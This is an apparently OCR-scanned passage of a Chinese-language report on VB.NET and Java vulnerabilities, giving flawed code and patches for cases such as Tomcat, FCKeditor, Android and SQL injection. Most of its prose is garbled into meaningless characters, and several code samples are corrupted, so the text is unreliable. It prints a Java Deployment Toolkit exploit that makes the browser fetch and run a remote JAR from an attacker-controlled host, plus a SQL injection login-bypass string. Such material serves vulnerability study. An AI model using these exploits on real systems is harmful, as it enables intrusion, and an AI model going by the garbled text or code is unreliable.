private void button1_Click(object sender, EventArgs e){

throw new Exception("Error : "+ex.

Message);

BERARNE  FFESRTF EF LG R AR E DB B

PR P2 L o0 F A28 P s throw new Exception € #-d T 3 e ok 3

dpEER R ERTY T B AR

&l

b

+ buttonl_Click #2 % 77 catch

’j} € PRI B Ak ) ¢k 5 97 - € BT Error: (exception) @ (exception) &

try{
//Code

}
catch (SqlException se){
//Code Section 1
}
catch (Exception ex){
//Code Section 2
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}
v A2 N Fg 8 4 SqlException 4p B 1] b > B € 34 {7 Code Section 1 42 5% »

F R A H B bk dE o € 34 {7 Code Section 2 cPAZ sV A5 o 11 250 F o dp

BA DG T RS B R Bl h 2 35 At ek o Flm F O e AR 5N §Y (7 ek
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4.1.22 Code Quality (VB.NET)

I. Code Correctness: Erroneous Class Compare
FEd P * (object) s | (class) & A & 2 w4 i g 3] (type) > ¥ i K- B

7 ¥ IRl enia

ETIRS

2T E R - B ER g

)

P L RN ARG - RELES S U U LT
d 3t R T g AT A E - B 4F e A 5 (identifier) 0 @ 2 R Rt -

Bdp e o T G i

if (inputReader.GetType().FullName ==
"CompanyX.Transaction.Monetary"){
processTransaction(inputReader);

}
Y AR S ik PR — B % ¢ inputReader chir i 2

A
>_L
G
=2
fiﬂ
™
o
o
i
)

4
v
SRR

dok - BACF XA - BREE R4 inputReader hF T o Bl A2t

E%;Z_‘;ﬁ‘" J LL#F 7‘"\?’ f'" l\.» lE» mh}’:j\ °
PURRACC R AR R 0 RER SR IR 0 2 B AR L
Fky THRPAETFTEELZTRS > ¥ U@ * - By HT s & Rl g2 G

B2E o RE ITHRPIZERE S R ARE 2 ITHE

Il. Unreleased Resource: Synchronization
F AR A A B T (lock) e F R 0 ¥ Ay € F 5 B (deadlock)iA 2 o
2T A g RE - B AAT IR T oA € ¥R S ¥ (crash)

RFERFA AT AR TFDHE - AR E R BB Bkl
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o3P ARt Y - BItA S TR RLEE o
< 384 Unreleased Resource s73 i ¢ F R - S Hf ™ J L 48 > 4o % -
T[#If-ci?—‘g &% - B resource leak(E % F AR AE A TR RF R o i iE #

=<

FRSATR EAFTRAT Y EN) M FE T R T

-\\

14
FS

é‘\»
L &

Rk A& 4 - B denial of service ehirc # o

Object synchronizationObject = new Obiject ();
System.Threading.Monitor.Enter(synchronizationObject);
performOperationinCriticalSection();
System.Threading.Monitor.Exit(synchronizationObject);

b 4235 78 v performOperationInCriticalSection() 2. #7 2& = 7 — i 4f Z_c§%

#1 > 12 & 3 performOperationinCriticalSection()3 # 7 ¢ » BI425% i{ 7 ¢ f§3<h]

-2 é“iﬂ;‘ii‘éﬁi?'ﬁ LIEB A2 PF > % SE 1 R ¥ Critical Section £

\
\_.

R FRF - BH P R AT AR R T -
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4.1.23 Encapsulation (VB.NET)

I. System Information Leak

¥ §

4< 45
PR

wﬁ*
T-L

Vag

BERT A T FE L 0 Rl ks g

edm 2 K- BoHIF e

System Information Leak % 2 &0 T Fiw > gk SR F AL fé:h TR 7% d ﬁl:l
BomE B_p shiedkra kod ﬁ‘*] 2Nk [ T A g SR
try {
}

catch(Exception e) {
Console.Writeline(e);

}
12+ 425558 € #-6 ?H E7 3] console ¥ e

P ARESN P S R PR T A M T B AR X AN IR E K Mz fAaEen
RN R RN L A
RPp k SLARK T 0 LTI F UE T console ¢~ B o PiEARE AT LR

K - BT o Rl A LRt R H P 9 hT R D] 0 gt ks

)

7 h R DA I o blde s — B R cngs iR L2 3 € BTt
238 % % % 3] SQL Injection ¢t ik ik chrc B> B 15 endp iR 40 3F € Bor soE

SRR T R S o

gl

IR B ENRPF LER AN R LSRR

-
—=
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PIT & 40 S B G T 28RBS T RS
Il. Trust Boundary Violation

BARR TR RY  RATRENZ AT L EOTR T § e

MR - FRAMRET AT R EATR o A BERE O LR TR
EFE R F % g A% Trust Boundary & » ¥ 1 E e i o

Trust Boundary Violation % # %4 f2.7¢ ?y{?—ﬁ #-Trust Boundary /2% m & %

;—;'3'—\7)”3% v iZE ;’v’w?;q‘:ivfrsgg A 2T G EDFR e oot B,k < R A

ﬁi&?%%?@Lﬁ?#ﬁ%?%Lﬁﬁﬂm%o

usrname = request.ltem("usrname");

if (session.ltem(ATTR_USR) == null){
session.Add(ATTR_USR, usrname);

}

AR - B HTTP ahg o> T2 A B0 R % F &7 il

i #-username %-#HchkE 73t HTTP session » o

paig
f‘t:

3

¥

F fhud 04 % @ 4F Trust Boundary » A2V K35 F #-€ 7 7 AL hit

VR FTALE T ORI v 2 T R S R 0 P RR A R S TR A

—_—

S

— A

¥ - BB o

SRR iR R QAR AR K R TR ARNRF A

1'-‘\

E R TALNT A SR L B R AR TR LERE R G LR

LT BERLH ALEREL TR BERBE A EREL TR
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gt P F A EOBERE] T & > TR MBS
BAZNKFE R D EE s RS R bl4ed SQL B4R

Al

FHeSHAT 3 Hil g £ ¥ A g4 SQL Injection iF T o
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4.1.24 Environment (VB.NET)

I. Password Management: Password in Configuration File

1% 2 F (plaintext) 7 5 — B %48 >t A ¥ (configuration)fh X ¢ > ¥ it € E XK
- Bk Aar B2 P o

M2 F N RRERE GO RE AT O R IR U@ B e R
A > TG RBEEOT IR c BE AR T FGEEAATE PA Y R EY A2
REBET U GEARE A 0 L e i B g?in“-?% R IS4 SV

Yoo bR ag ¢ An H i Pl (guideline) 2.8 7 it ¥ v F 02 ek RAp o

<configuration>

<appSettings />

<connectionStrings>

<add name = "ConnectString" connectionString = "Data
Source=Server8; Persist Security Info=True; User ID=sa;
Password=123" providerName = "System.Data.SqlClient"/>
</connectionStrings>

</configuration>

ML ARG > BARN 2 REL R T2 A BT REMK Y o
Hizls 24 aEafml o éﬁi;‘\i&i#—‘ﬁ AFEBMRNEF 87 - L

oo RESLRABER N RE K oAt R RGBS Rl

o
% o+

%1&’$ﬁ&@%ﬁﬁ%ﬂﬁﬁﬁ’%$% LE 22T Ao
Ao BHREBNENERFZ GG FER SR Z > EF LR
RAL DR T2 R o PR ) et AR AR L 2R

GERRE F2:2 ¥
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i A Lengeh A A 0D o H S Ao - g R TR rE s R DK

F_&

Niud

RKEEFTHREAFXEE ) PERFLAR R S I £ 22 5
R FIM RS be- B LR LR IR FHNT 2RBIEY 2N
P2 AP S - B RGN KX 2T S 2 L iE o

GO E R ARG R RS b Wk PG E B 7 e

AFEDTERT O HE 2N RFE LR B0 jE 0 AT AR

% 2 Java &2 VB.NET 7K E > B3 22 20| F 27
< S HEHE AR FEARY C VRATFERVER AL REH AR
TR L R A FTAMEX 2K A A o 134 NIST National Vulnerability
Database(NVD) #7# i cnficdpdp 01 > T % 2R F Rfict 2001 # 5 4271 £
# 2 3 39113 &£ - @ Gartner %7 3 3F £ 4 0 R4 75/mp:’§'**f$ =Yl Sk

Bt AR 0 A SR AN RT R AN AT E s PR F BAEE 0 1096

I

!

P A2 T R Y ARG AT LR 0 0T PR AR
% 2 HFRE D IR D BRI AAEE Y AT A B AR

PR AAEF AR ML AN B F X UIER 2 R F R R E5 R

o~

WBAR Y BRTE AT DEPER o e b ATAIRN T S BN $ree g S WA R AL
FARE2EENF2VRERT] FRLT2BEFAL - UTHLHTAL D

B A KRS 0 R R E > R AeAE R BT A uldE i o
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o FIE IR ARG

National Vulnerability Database(NVD)£_% B B 7k 4 & - £ 4% 4 (National
Institute of Standards and Technology, NIST) A ™ chE % 2R F St F R E - T
BEBE2BFALIBEYFOT LR EF AT S0 3 E R alikd;

PaE X3 Ot BATE 2RF o TALF EFTH L 2IRFERE

£ i *1994 | 1995 | 1996 | 1997 | 1998 | 1999 | 2000 | 2001 | 2002

% 2Rk KT 82 25 75 252 246 894 | 1020 | 1677 | 2156

*2y 11093 & 1w B2t
Foh& 4-14 FEIEZ RIS E

£ i 2003 | 2004 | 2005 | 2006 | 2007 | 2008 | 2009 | 2010 | Total

X 2RFEE 1527 | 2451 | 4932 | 6608 | 6514 | 5632 | 5733 | 4146 | 43970

d & ¢ 72000 # {8 T RFATROECE A FRT > T F E D it
A /%/H; ) ﬁ = oy ‘f ;J_ LK\F] "l'ﬁ{ F]Q &F} :, Kﬁ /k};éﬁ/ﬁilw ’ ,‘1’_1 15001 IE o é]g‘“ ?’:F\TL

%3'_//% H?F’J’Mv\ F‘]‘i‘f] —;i\:"—r { .

g 4-15 BLRRELETTH8

TR AR #c & (09°/10°) B~ (%)(09°/10%)
Authentication Issues 441 474 2.94% 2.35%
Buffer Errors 1644 2239 10.96% 11.12%
Code Injection 992 1300 6.61% 6.46%
Configuration 152 180 1.01% 0.89%
Credential Managements 162 224 1.08% 1.11%
Cross-Site Request Forgery(CSRF) 211 301 1.41% 1.50%
Cross-site scripting (XSS) 1929 2619 12.86% 13.01%
Cryptographic Issues 173 245 1.15% 1.22%
Design Error 418 499 2.79% 2.48%
Format String Vulnerability 83 99 0.55% 0.49%
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Information Leak / Disclosure 477 641 3.18% 3.18%

Input Validation 989 1315 6.59% 6.53%

Insufficient Information 1371 2010 9.14% 9.99%

Link Following 230 264 1.53% 1.31%

Numeric Errors 419 583 2.79% 2.90%

OS Command Injections 28 43 0.19% 0.21%

Path Traversal 853 1151 5.69% 5.72%

Permissions, Privileges, and Access 1140 1525 7.60% 7.58%
Control

Race Conditions 78 113 0.52% 0.56%

Resource Management Errors 648 911 4.32% 4.53%

SQL Injection 2265 2834 15.10% 14.08%

Others 298 558 1.99% 2.77%

Total 15001 20128 100% 100%

e S S

injection ~ Input validation ~ Insufficient Information) ) & 33% ; e §% ~

(CSRF ~ XSS ~ Path traversal

7 e for k

AR R ARSEERES FHENALL o ¥ b d 2009 £ - 2010 £t

PR R - BT X RN

* 7 F > RANE KRG
TR iR Java B

fe iE A Tt %%“t“

ABEL 0 AT fRE EAR R

LEERAR B ET

% [ ke

s IRE

~ SQL injection) s & 3

/%/P?'?"U' AR =N

—=

) R

3 & B x >k #E 4] (Buffer errors ~ Code

SRR S

< E B A BT DR AT

e L FRIFARE IR HAF

BRI R RKFT

RATNRE T RTROARE L B RSB E RN

PO AR B



4.1.25 FCKeditor.Java 2.4 Denial of Service (Java)

FCKeditor.java € — 2 /7 Java # B e ;8 B - 3% B8 # ﬁ SR mEE A

oo R R S B~ T30 % v JSP scriptlet 2 JavaScript 5 A # e Foackg o

& 2.4.2 % 1@ o FCKeditorjava 444 3% 5 denial of service i&iF > 5 i@ * + #y

MR TR §ERBFLENE RBRE e g SR FL R

E R

¥ IRFE o

Denial of service # 2 R Fl s A & 5 B E 3 » chig F o R T

?’E‘@?J)\

T8¢ & 7 ctrl £ ASCll code » & #2378 i& » & 33 1¢ [B] o 45 M o 4075 %

P AT L

gt > (isValidPath) p eni g+ & i ﬁnﬂfwﬁl ~FR oo f gt

public static boolean isValidPath(final String path) {
if (Utils.isEmpty(path))
return false;
if (Ipath.startsWith("/"))
return false;
if (!path.endsWith("/"))
return false;

if
(!path.equals(FilenameUtils.separatorsToUnix(FilenameUtils

.normalize(path))))
return false;

return true;

}

i £ & path manipulation 74 & (% if(Ipath.startsWith(“/))) > F] ¢ & 31%1 »FE e

7 ctrl pF I R ap ARt S0 ViR o A 2.4.2 %k A e #7 patch 40
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public static boolean isValidPath(final String path) {
if (Utils.isEmpty(path))
return false;
if (!path.startsWith("/"))
return false;
if (Ipath.endsWith("/"))
return false;

if (Ipath.equals(FilenameUrtils.separatorsToUnix(FilenameUtils
.normalize(path))))
return false;

// previous statement handles dot and (back) slash already

if
('path.equals(path.replaceAll("\\ ] | :]\\? |\\*I\" | <|>|\\p{Cntri}",
ll_ll)))

return false;

return true;

}
2 Ipath.equals(path.replace AN\ W2 \*\"|<|>[\p{Cntrl}", " ™)) & %7 5% & /g

ctrigEF B4 ~ > MBAR LT 2% 2IFF o
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4.1.26 Java Development Toolkit Command Injection

(Java)

p Java 6 Update 10 5= ~ B 4~ » Sun % & 7 NPAPI plugin ¥2 ActiveX control
“Java Development Toolkit” - Java Deployment Toolkit #_Java % 7 > i{f B % A R
B R R B AR LADRY FenT et o N2 Fibp L AEARA AR
Ee- BREPFERE - B —‘F'f v #£d Java Networking Launch Protocol (JNLP) 4 1]
R a0 A Windows [k Suv ot 4] endz 38 5 Java Web Start utility
javaws.exe o

javaws.exe ¥ = launch() /24 % URL B » ijgis £ #-H @ 3T e 3xp 2
JNLP file handler- iz # @i},@%] A R EORY FV BEHT TP 0% javaws.exe
H 723 e0iE & JAR filer i3 = command injection sz # & # - | 4r Internet Explorer

i —«%]z ¥ 34 {7 7] code sequence :

var o = document.createElement("OBJECT");

o.classid =
"clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";

o.launch("http: -J-jar -J\\\\attacker.controlled\\exploit.jar
none");

Mozilla Firefox erc# g b 4c -

var o = document.createElement("OBJECT");

o.type =
"application/npruntime-scriptable-plugin;deploymenttoolkit"
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document.body.appendChild(o);

o.launch("http: -J-jar -J\\\\attacker.controlled\\exploit.jar
none");

JJE I A b2 JAR A RS (4ot )2 \\\attacker.controlled\\exploit.jar)

TEREFELIARME « T 5 - BRG] 0] € RIS E T 0 calejar

<html>
<head><title>Java Deployment Toolkit Test Page</title></head>
<body>
<script>
// Tavis Ormandy <taviso@sdf.lonestar.org>, April 2010

var u = "http: -J-jar _-J\\\\lock.cmpxchg8b.com\\calc.jar

if (window.navigator.appName == "Microsoft Internet
Explorer") {
var o = document.createElement("OBJECT");

o.classid =
"clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";

// Trigger the bug
o.launch(u);
}else {
// Mozilla
var o = document.createElement("OBJECT");
var n = document.createElement("OBJECT");

o.type =
"application/npruntime-scriptable-plugin;deploymenttoolkit";

n.type = "application/java-deployment-toolkit";

document.body.appendChild(o);

document.body.appendChild(n);

// Test both MIME types
try {
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// Old type
o.launch(u);

} catch (e) {
// New type
n.launch(u);

// Bonus Vulnerability, why not downgrade victim to a JRE
vulnerable to
// this classic exploit?

//
http://sunsolve.sun.com/search/document.do?assetkey=1-66-244991-1

// o.installJRE("1.4.2_18");
</script>
</body>
</html>

@ 4-41 sEEREURIE]

i€ Java Deployment Toolkit Test Page

Java Virtual Machine Launcher 22

L A

Java 6 Update 20 (java se 1.6.0 20 update) z_ S5 &2 & 7 - & 2K o o
pe¥ e d 2 JRE F (¥407 oo Javavirtual machine » %73 3% § % 2RAE § 4

Y
/—:ng»‘ °
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4.1.27 Apache MyFaces uses an ecncrypted View State

without a MAC (Java)

Apache MyFaces ¥ - i# Apache Software Foundation & % > 3% k3% % v
JavaServer Faces(JSF)4p B z_ 3 pts » H # {7 @ 57 1% *a3E JavaServer Faces -
s FHEF S SN E Rz g JSF iR * 4250 o View State it 49 i3 P b ey
RO EE 2 ga o 0 ViewState i g e o R HF A IR B2 T
Zd base64-encoded #2 5 iE (T4 B o 2 ﬁc?ﬁ % 72X ¥ # ViewState Code & i - &=
1.18 5=z > & 41 % View State f# > ]I A 3 MAC (Message Authentication Code)
) > H I View State Filar 54 %% b it » BED Bz o KF

StateUtils.java » P! 4077 :

SecreKey secreKey = (SecreKey)getSecret(ctx);

String algorithm = findAlgorithm(ctx);

String algorithmParams = findAlgorithmParams(ctx);
Byte[] iv = findInitializationVector(ctx);

ScretKey macSecretKey = (SecretKey)getMacSecret(ctx);
String macAlgorithm = findMacAlgorithm(ctx);

Message Authentication Code #% /] %_— #& keyed hash function> 5 £ 3 & &5
Arde it > BiFEEBE T - B Asg—secreKey @ £dginE £ R 0 A 4 gL R
BRTEOPEIE, T RY o BErE R BE AL R S £ B E
WL PR AFE MAC Rd jesd e L(MAC)PFF R € 58 iad & 4
= A JT%%L;L GBI G PR AP B D& 4 o T BT LR
¢ & * MAC Algorithm 2 2 - B MAC ¥ &> % & @ﬂiﬂjﬁr‘ T ARER B
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A% MAC ¢ 2 4pf > F 2 s AR PE & Tl ko T B R ®
Am ER it FRIEEE 0 MAC #4177 5t 3 2k b o
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4.1.28 Free Web chat 2.0 Denial of Service (Java)

Free Web Chat & - B d java B = i § Frx f25¢ > P SBHFE L <3
d sever {v client applet ‘== o Free Web Chat #& i=3% 5 Frx 3 i+ 7R3 > @ #
ﬂ\ FFBae J9 A RF o> 823 o e §_A UserManager 0 addUser &3\ ¢ 2r
FEXFPORE FEXFRBEL L > €5 denial of service iAiF > i = AR

;v ¢ UserName ¢t 8% = Null m 2 2

NullPointerException » i& @ 3k server

B AT o WP 4o

public void addUser( Socket sock )
{
User usr = new User(sock, this);
String usrName = usr.getName();
if (usrName !="") /* if used to check initialization */
/* it's an error */

/* wrong method call! */
/* no checks for usrName != null */
if (userHash.containsKey( usrName) )
{

usr.rejectUsername();

return;

}

usr.sendRoomList(rmManager.getRoomlList());

/] ...

}
PCERAR AR 00 S < R AR 2 UserName % 8 & i 3 ik B 184
% UserName %+t null> #25% p = #1572 5 4F #5_NullPointerException 2 #41 »
RibFAL S RFFLRINELRY FRRAERY F LA § I server

crash o
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g #7 patch file 4-™ :

public void addUser( Socket sock )
{
User usr = new User(sock, this);
String usrName = usr.getName();
if (usrName !1="")
{
/* start fix */
/* manage NullPointerException */
try
{
if (userHash.containsKey( usrName) )
{
usr.rejectUsername();
return;
}
}catch(NullPointerException npe){
usr.rejectUsername();
return;
}
}
}

d pLiRF A PE e i@ {33 B e NullPointerException i %+ »

Bk AR AL o Java ApEY CH+m 50 BAR K P R R b

W] > L B BT AL AL TSI ELLARFAL o
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4.1.29 Apache Tomcat Allows Remote Attackers to

Cause Denial of Service (Java)

Apache Tomcat ¥ - ¢ i% Java Servlet r2 2 JavaServer Pagesopen tjren
open source #ix %% - Apache Tomcat % 4.1.0 ] 4.1.39~ 55.0 ¥/ 55.27 2 %2 6.0.0
3] 6.0.18 sk & § ¢ * Java AJP connector ¥2 mod_jk load balancing pF, ¥ i s<#
+ %’%r) #l:¢ — B invalid headers = request » @ # 3 Denial of Service -

Denial of Service = F] % 4p B = ;2 (method) ¥ %z it F 177 3% f3242 30

b (e R A SE T k)

protected static StringManager sm =
StringManager.getManager(Constants.Package);

private int pluggableFilterindex = Integer.MAX VALUE;

// - Constructors

//inputBuffer.addFilter(new GziplnputFilter());
outputBuffer.addFilter(new GzipOutputFilter());

pluggableFilterindex = inputBuffer.filterLibrary.length;

(inputFilters[Constants.CHUNKED_FILTER]);
contentDelimitation = true;
}else {
for (int i = pluggableFilterindex; i < inputFilters.length; i++) {
if (inputFilters[i].getEncodingName()
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.toString().equals(encodingName)) {

inputBuffer.addActiveFilter(inputFilters[i]);

FHEHG 7 0 filters & filter library 42 - § & & 3|7 46 » 4p £ oo filter p*

)

fj}u:ﬁk.ﬂ Bei o d M EHETHEBRE VTG :':ﬁgl 7 #5722 Denial of Service

-

Bl eE R AP B o
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4.1.30 The PackageManagerService class in Android 1.5

through 1.5 CRB42 (Java)

Android 1.5 3] 15 CRB42 sx A iz » A% E R A28 pF > & j\gi.g] ~ B
—‘gf ehisharedUserld # 3% # > i2 3 I Foeita LB —‘F"f e sharedUserld - i w35 5% %
%ﬁfrJ # 4 — i sharedUserld : package > 2 B~ * 4238 Tl o gL iR 230

services/java/com/android/server/ PackageManagerService.java o

;3‘_‘};‘1’3 .QL—"L‘ :
if (p ==null) {
// Create a new PackageSettings entry. this can end up here
because

// of code path mismatch or user id mismatch of an updated
system partition
if ('create) {

return null;
}
p = new PackageSetting(name, codePath, resourcePath,
pkgFlags);

p.setTimeStamp(codePath.lastModified());

p.sharedUser = sharedUser;

if (sharedUser !=null) {

p.userld = sharedUser.userld;

} else if (MULTIPLE_APPLICATION_UIDS) {
p.userld = newUserldLP(p);

}else {
p.userld = FIRST_APPLICATION_UID;

}
if (p.userld < 0) {

reportSettingsProblem(Log.WARN,
"Package " + name + " could not be assigned a valid uid");
return null;
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if (add) {
// Finish adding new package by adding it and updating
shared
// user preferences

insertPackageSettingLP(p, name, sharedUser);
}
}

Rk R AR B A REARY B TR R RARA T o

Fliild X ERKE oA fE2 i half-installed o § A7 5% 2 #7 0 o en % G
half-installed = f]}ug split getPackageLP() = 2 i# phase’ % — 1 phase ¢ # # record -
% = i# phase #-% — i phase 2 4 «nF L E I e0% » datastructure ¥ - F] 5 F

& % = % phase 1 it #-sharedUserld & » PackageSetting data structure » 712 A&
2T A AE R R A% - Bphase pF o FTALG LG A4 o

24272 5 > & A 4 PackageSetting structure ¥ > 3£ B 3K TAF
f 3 g g i

sharedUserld & ¥ Z%g v o

211



4.1.31 Novell OpenSUSE Workflow Administration and

Management platform XSS (Java)

CVE-2007-5702 45 1 — i XSS i iF i+ %> Novell SWAMP i st > i¢ i 24
;z{f—‘*f i% i username % #cd®: » web script & HTML -

Novell ¥ % R&HRE » 2 1 8 53 2 £ F17F LRI £ ¥ fnx 2
FREAFE  REAFEFITELBEA S S HFT ¥ LA & OpenSUSE
Linux Enterprise > Novell Netware % -

SWAMP (OpenSUSE Workflow Administration and Management Platform)-2_
Novell & #E e Jhrzt 4 > @ * Java 3% 3 #1337+ F]#t 5 OS-independent- SWAMP

& ¥ workflow %3+ 2 5 1T 553l - B workflow 335 1% & 5 A ohfs
B & 15 F]gt SWAMP * &g - 303 ¢ 12 & ¥ workflow s 45 2 = & o

Apache Turbine £_z** Java servlet i F g 2= ¥ =28 - SWAMP & # pt
ez B M o2 o

F 4o A% 75 75 (LoginActions.java) -

if (e instanceof StorageException){

cause = "Error in communicating with authentication
server: " + e.getMessage();
} else if (e instanceof PasswordMismatchException) {

cause = "Wrong password entered for username: " +
username;
} else if (e instanceof UnknownEntityException) {

cause = "Unknown username: " + username;
} else if (e instanceof NoSuchElementException) {

cause = "Unknown username: " + username;
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} else if (e instanceof DataBackendException) {

cause = "Could not connect to user database: " +
e.getMessage();
}else {

cause = "Fatal Error : " + e.getMessage();

}

data.setMessage("Login failed. Cause: " + cause);

Patch {s 25\ %5 :

if (e instanceof StorageException){

cause = "Error in communicating with authentication
server: " + e.getMessage();
} else if (e instanceof PasswordMismatchException) {

cause = "Wrong password entered for username: " +
username;
} else if (e instanceof UnknownEntityException) {
cause = "Unknown username: " + username;
} else if (e instanceof NoSuchElementException) {
cause = "Unknown username: " + username;
} else if (e instanceof DataBackendException) {
cause = "Could not connect to user database: " +
e.getMessage();
}else {
cause = "Fatal Error " +

StringEscapeUtils.escapeHtml(e.getMessage());
}

data.setMessage("Login failed. Cause: " +
StringEscapeUtils.escapeHtml(cause));

AP

& *

RN R EREE STRI Y S At S AR

‘b endcit fE 3 i P ousername S-#iciE 3 Aocause S ¥c¥ o fR{S K-cause SEcF AL W

ngﬁ,f§f§¥%%§/rf%iﬁi}%’ﬂ°

PR AR A R NS 0 75N -5 o A 2 username BE T R
g]
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f$ > L 5 H#-cause i¥ escape eivds (¥ b frdek B R @ * —g 4% »~ F & fhusername
gz;-l N gigl > ERANEYA > EFN Y RunData.setMessage() 442 7% 75 & » web

page ¥ - dp2 fihiR * K G B ERETIEL AR
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R

4.1.32 Directory traversal vulnerability of Tomcat 6.0

(Java)

CVE-2009-2693 1 413 — i directory traversal 5 /¥ i+ %*> apache tomcat 6.0

L 77 rar b2 R EPREIBH LML -

Fa 4 Tomeat 6 & f2/R &5 rar 4 % P2 e % rar f@ R g e s £

F

N

Bl RFFEF P BT

Eirr v ufliv- Brarfhke F0(F - B BH)E R EDE

\www_root
\rar_decompress
\config

Server.conf

p JF,"M i zx serverconf Rl ¥ 10 b @ - rarff R e 7 0T P Bl

\.
\..

Server.conf

ﬁﬁﬁ‘é i# 7| 13 =& server.conf o

A patch file ¥ tomcat 4c » 7 12 T &kif o i T|H6 & rar f32R ﬁ'ﬁﬁ?‘_ﬁ./{;{@ I FE:

try {
if ('resourceFile.getCanonicalPath().startsWith(

canonicalLoaderDir)) {
throw new lllegalArgumentException(
sm.getString("webappClassLoader.illegallarPath

jarEntry2.getName()));

}
} catch (IOException ioe) {

throw new lllegalArgumentException(

sm.getString("webappClassLoader.validationErrorJarPat
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hII’
jarEntry2.getName()), ioe);

}
NG AR L Forar Fh R P &Rl T 2 AR T T B F ) illegalJarPath

7

,’}IJ vk o
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4.1.33 Java CMM readMabCurveData stack overflow

(Java)

g Bl A TR
Java SE Runtime Environment( JRE ) » & ¥ e RUIRE > v ALE 5 L%

Java FT BRI A VAR DB TR o » A AE T 0 Java mr—lé%;}—‘g 1
PR B EAE IR FLY S ER K o

JRE ¢ ¢ ;& 3 Java Virtual Machine( JVM ) -~ runtime class libraries §= Java
application launcher » izt F3& {7 Java 42 5 e & 12 o

m JRE & « 77w JDK 2 F »JRE X 7 8- BREFRE > "TilG @
miE R EF L A (A EE R ) N A Javade s it o o
% >k & #] . Stack overflow

P A A SRS 2R T LA F 2RO R FER
w47 ;4 #5 & §_3 5% denial-of-service conditional.

HABhE 2EF R T > CMM #%e ¢ chreadMabCurveData & 58 o

= path \j2se\src\share\native\sun\awt ¥ 3 — & cmm 7 & o @ f iz i@ path
T #= readMabCurveData » ¢ #F IR F F vE—- - BAHE -

\]2se\src\share\native\sun\awt\cmm\iomf.c.

T E F & 2 iRF eh- $%4 o native code ¢
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B 4-42 L RIEEES

B 5 chcode s Kp_read & 3V3% B~ « ] % nTblSize erfd ehp 3 I #-v

il

7 Pl tmpThl 2 buffer # o & fig42 > 43t & * nTblSize chfici@ 2 > ¥ it §
7% 2FRKF DAL oUW i i 2 memory corruption o

#-cmm.dll v 7 patched function &t fie ¥ 123 IR sub_6D185C75 function
¥ 3 % 2k <o readMabCurveData function -

i %ﬁ %t g% readMabCurveData 4+ the assembly code of sub_6D185C75 » +

g et el Kp_read =7 assembly code = = & 4 3 stack overflow > 4 Bl
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B 4-43 FE4E Stack overflow Z F2F0HE

N

b moericode ¥ A € 3 IR ([ebp-14])4k 48 ® 3] EAX register ¥ 5 @ B2
fo o @ eBcE g AR K S B AE & Kp_read 3t esize $dkc o hippFiE o S

PR B S Bom 2 4] T i ¢ 3k corrupt memory ¢

[EZ 4-44 FE4= Corrupt memory ~ F2=5

Fixed patch :

UG I HR G - F RRF AR A > TR E R A S S - X 2R
i ST
Sun JRE (Windows Production Release) 1.6.0_19
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Sun JRE (Solaris Production Release) 1.6.0_19
Sun JRE (Linux Production Release) 1.6.0 19
Sun JDK (Windows Production Release) 1.6.0 19
Sun JDK (Windows Production Release) 1.5.0 24
Sun JDK (Solaris Production Release) 1.6.0_19
Sun JDK (Solaris Production Release) 1.5.0 24
Sun JDK (Linux Production Release) 1.6.0 19
Sun JDK (Linux Production Release) 1.5.0 24
IBM Java SE 5.0 SR11 PF1

HP Systems Insight Manager 6.1
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4.1.34 Ad Server Solutions Affiliate Software Java 4.0

SQL Injection (Java)

Ad Server Solutions Affiliate Software Java 4.0 # 7 logon.jsp #t & 2 7 SQL
injection 7 ¥ & @ (FE R & * + 1% 1 (1)Username and (2)password kHFE R

SQL commands -

R BB o e T

Connection conn ;
Statement stmt ;
String strUsername ;
String strPassword;
String StrSq|l;
ResultSet rs;
Boolean login;

conn= pool.getConnection( );

stmt=conn.createStatement();

StrSql = "SELECT * FROM members WHERE name=""+
strUsername+"'AND pwd=""

rs = stmt.executeQuery(StrSql);

+strPassword+"";

if (rs.next()) {
login = true;
out.printIn("Login Successed!");

}

else {
login = false;
out.printIn("Wrong ID or password!");

}
so# f & Username iz B 2 » "admin’ OR '1'='1" > igp¥ix 4 st g #-7 e

P moenfeN B ivE s > 44 ¢ StrSql = SELECT * FROM members where
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name="admin' OR '1'="1' AND pwd="""> & 4rpt - % > Ii%t"ﬁ if ¥ U ﬁ@@?] » b

=

FREREE ™ LIS P ZTRERE FPHRFEEFENNE L T UE D

W

% patch # > f’f—‘g i * Java APl #73& & v Prepared Statements & f?ﬁi%l » 22 SQL

query 2. Z& 7 ©

Connection conn;

String strStmt ;

String strUsername ;

String strPassword;
PreparedStatement prepStmt;
ResultSet rs;

strStmt="SELECT * FROM members WHERE name=? AND
pwd=7?";

prepStmt = con.prepareStatement(selectStatement);
prepStmt.setString(1, strUsername);
prepStmt.setString(2, strPassword);

rs = prepStmt.executeQuery();

if (rs.next()) {
login = true;
out.printIn("Login Successed!");

}

else {
login = false;
out.printIn("Wrong ID or password!");

}
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TR E B VBINET FRIERR O AdTiRFZEL RF] S 28 R
FF A N T BN RARSNRY T RT R RF R A RS

TR A A I CE L SR S T

4.1.35 Microsoft VBE6.dll Stack Memory Corruption

(VB.NET)

VBESG.dll #_Microsoft Visual Basic Application (VBA) SDK & & S ;% E >
& VBA SDK 6.3 1 6.5 it iyt S Bk 2 S5t Aig G402 B %o
ActiveX #4138 > 4oi i % 758 B AT 3% 5 & W T e % % VBARuUntime s
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4.1.36 Microsoft Visual Basic for Applications Buffer

Overflow (VB.NET)
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4.1.37 Microsoft Charts Control Memory Corruption

(VB.NET)

Microsoft - & control ¢ i = Memory corruption :iFF > £ 2 &_ Chart
ActiveX control » #] 5 Charts ActiveX control # Micorsoft Visual Basic 6.0 ~ Visual
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MR 2R B ERBHTE F R EL ARG
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o (R 0 75 € * P ActiveX control sty F T i £ F M RKF 0 ¢ 3
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4.1.38 Microsoft Visual Basic Buffer Overflow (VB.NET)
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4.1.39 Microsoft Visual Basic T-SQL Object Buffer

Overflow (VB.NET)

7 Microsoft £ Visual basic T-SQL object(vbsdicli.exe) t - F] 5 %% & & 7
9K % o om ¥ o AR P A2 24 Buffer overflow pt#iEF %’Ii?—"ﬁéiﬁ'ﬁ’*
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#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <string.h>

#define MAX_KEY_LENGTH 255
#define MAX_VALUE_NAME 16383
#define MAX_DATA_LENGTH 32767
#define PRE_DEFINE_KEY_TYPE 5

LPTSTR win2unixPath( LPTSTR path ) // Convert win path to unix-like path, return
path buffer pointer

{
DWORD i, leng;
leng = _tcslen( path );
for(i=0;i<leng; ++i){
if( path[i] =="\\' && path[i+1] !="'/") path[i] = '/";
}
return path;
}

